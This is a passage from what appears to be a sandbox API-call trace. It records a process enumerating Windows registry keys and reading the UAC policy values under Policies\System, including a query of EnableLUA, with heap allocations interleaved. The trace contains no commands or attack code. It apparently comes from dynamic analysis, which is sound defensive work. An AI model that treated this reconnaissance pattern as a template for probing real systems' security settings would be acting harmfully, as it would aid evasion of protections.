lpName=0x1db930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x1db930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x1db930, cchName=0x104 | out: lpName="Network") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x1db930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x1db930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x1db930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x1db930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x1db930, cchName=0x104 | out: lpName="Office") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x1db930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x1db930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x1db930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x1db930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0164.028] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x1db930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x1db930, cchName=0x104 | out: lpName="Print") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x1db930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x1db930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x1db930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x1db930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x1db930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x1db930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x1db930, cchName=0x104 | out: lpName="Router") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x1db930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x1db930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x1db930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x1db930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x1db930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x1db930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x1db930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x1db930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x1db930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0164.029] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x1db930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x1db930, cchName=0x104 | out: lpName="Software") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x1db930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x1db930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x1db930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x1db930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x1db930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x1db930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x1db930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x1db930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0164.030] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x1db930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x1db930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x1db930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x1db930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x1db930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x1db930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0164.032] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x1db930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x1db930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x1db930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x1db930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x1db930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x1db930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x1db930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x1db930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x1db930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x1db930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x1db930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x1db930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0164.033] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0xa0) returned 0x0 [0164.033] RegCloseKey (hKey=0x24) returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0164.033] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0x24) returned 0x0 [0164.033] RegCloseKey (hKey=0xa0) returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0164.033] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x1db930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x1db930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x1db930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x1db930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x1db930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x1db930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x1db930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x1db930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x1db930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x1db930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x1db930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x1db930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x1db930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x1db930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x1db930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x1db930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x1db930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x1db930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0164.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x1db930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x1db930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x1db930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x1db930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x1db930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x1db930, cchName=0x104 | out: lpName="IME") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x1db930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x1db930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x1db930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x1db930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x1db930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x1db930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x1db930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x1db930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x1db930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x1db930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x1db930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0164.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x1db930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x1db930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x1db930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x1db930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0164.036] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0xa0) returned 0x0 [0164.036] RegCloseKey (hKey=0x24) returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x1db930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x1db930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x1db930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0164.036] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x1db930, cchName=0x104 | out: lpName="System") returned 0x0 [0164.036] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f9d8 | out: phkResult=0x41f9d8*=0x24) returned 0x0 [0164.036] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db930) returned 1 [0164.036] RegCloseKey (hKey=0xa0) returned 0x0 [0164.036] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db860) returned 1 [0164.036] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.037] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0164.038] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x41f9f0, lpData=0x0, lpcbData=0x41f9f8*=0x0 | out: lpType=0x41f9f0*=0x4, lpData=0x0, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.038] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x41f9f0, lpData=0x1dc438, lpcbData=0x41f9f8*=0x4 | out: lpType=0x41f9f0*=0x4, lpData=0x1dc438*=0x1, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.038] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc438) returned 1 [0164.038] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1db860 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db878 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db888 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc438 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db898 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc558 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db930 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc510 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1db940 [0164.038] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db860) returned 1 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db860 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc4c8 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db968 [0164.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc480 [0164.038] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db978 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3f0 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db988 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3a8 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x30) returned 0x1db998 [0164.039] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db940) returned 1 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db940 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc360 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db950 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc318 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db9d0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, 